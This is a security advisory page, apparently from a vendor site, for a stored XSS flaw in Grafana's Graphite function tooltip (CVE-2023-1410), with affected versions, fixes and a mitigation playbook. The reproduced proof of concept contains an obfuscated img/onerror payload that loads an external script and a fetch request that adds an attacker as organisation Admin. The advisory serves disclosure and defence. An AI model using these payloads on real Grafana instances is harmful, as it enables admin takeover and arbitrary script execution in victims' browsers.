Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-qrrg-gw7w-vp76

MEDIUM

Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip

Also known asBIT-grafana-2023-1410CVE-2023-1410
Published
Mar 23, 2023
Updated
Mar 16, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk57th percentile-1.04%
0.45%1.13%1.81%2.49%1.3%1.0%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

4 pkgs affected
🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use Functions. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.

Details

  1. Spin up your own Graphite instance. I've done this using the make devenv sources=graphite.
  2. Now start a terminal for your Graphite container and modify the following file /opt/graphite/webapp/graphite/render/functions.py
  3. Basically you can pick any function but I picked the aggregateSeriesLists function. Modify its description to be "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

The result would look like this:

def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):
  """                                                                              
                                                                                              
  "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
                                                                           
  """                  
  if len(seriesListFirstPos) != len(seriesListSecondPos):   
    raise InputParameterError(             
      "seriesListFirstPos and seriesListSecondPos argument must have equal length")
  results = []                                          
                                    
  for i in range(0, len(seriesListFirstPos)):        
    firstSeries = seriesListFirstPos[i]                                           
    secondSeries = seriesListSecondPos[i]         
    aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) 
    if not aggregated: # empty list, no data found                          
      continue                   
    result = aggregated[0]  # aggregate() can only return len 1 list           
    result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)
    results.append(result)                                                                           
  return results                                                         
                                                                                                                   
                                                                                                       
aggregateSeriesLists.group = 'Combine'                                                             
aggregateSeriesLists.params = [
  Param('seriesListFirstPos', ParamTypes.seriesList, required=True),
  Param('seriesListSecondPos', ParamTypes.seriesList, required=True),
  Param('func', ParamTypes.aggFunc, required=True),                                                       
  Param('xFilesFactor', ParamTypes.float),                                
]                                                                                                
  1. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop)
  2. Now login to your Grafana instance as an Organisation Admin.
  3. Navigate to http://[grafana]/plugins/graphite and click Create a Graphite data source
  4. Add the url to the attackers Graphite instance (maybe enable Skip TLS Verify) and click Save & test and Explore
  5. In the newly opened page click the + icon next to Functions and search for aggregateSeriesLists and click it to add it.
  6. Now hover over aggregateSeriesLists with your mouse and move your mouse to the ? icon.

Result

Our payload will trigger and in this case it will include an external script to trigger the alerts.

Decoded payload

var a=document.createElement("script");a.src="https://cm2.tel";document.body.appendChild(a);

image

Impact

In the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves.

An example would be something like this:

fetch("/api/org/invites", {
  "headers": {
    "content-type": "application/json"
  },
  "body": "{\"name\":\"\",\"email\":\"\",\"role\":\"Admin\",\"sendEmail\":true,\"loginOrEmail\":\"[email protected]\"}",
  "method": "POST",
  "credentials": "include"
});

Mitigation

The vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsx

const FunctionDescription = React.lazy(async () => {
  // @ts-ignore
  const { default: rst2html } = await import(/* webpackChunkName: "rst2html" */ 'rst2html');
  return {
    default(props: { description?: string }) {
      return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />;
    },
  };
});

In many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/grafana/grafana8.0.0&&< 8.5.228.5.22
🐹Gogithub.com/grafana/grafana9.3.0&&< 9.3.119.3.11
🐹Gogithub.com/grafana/grafana9.4.0&&< 9.4.79.4.7
🐹Gogithub.com/grafana/grafana9.0.0&&< 9.2.159.2.15
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/grafana/grafana. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/grafana/grafana to 8.5.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qrrg-gw7w-vp76 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qrrg-gw7w-vp76 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qrrg-gw7w-vp76. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the
O3 Security · Impact-Aware SCA

Is GHSA-qrrg-gw7w-vp76 in your dependencies?

O3 detects GHSA-qrrg-gw7w-vp76 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-qrrg-gw7w-vp76: grafana Cross-Site Scripting (Medium 6.2) | O3 Security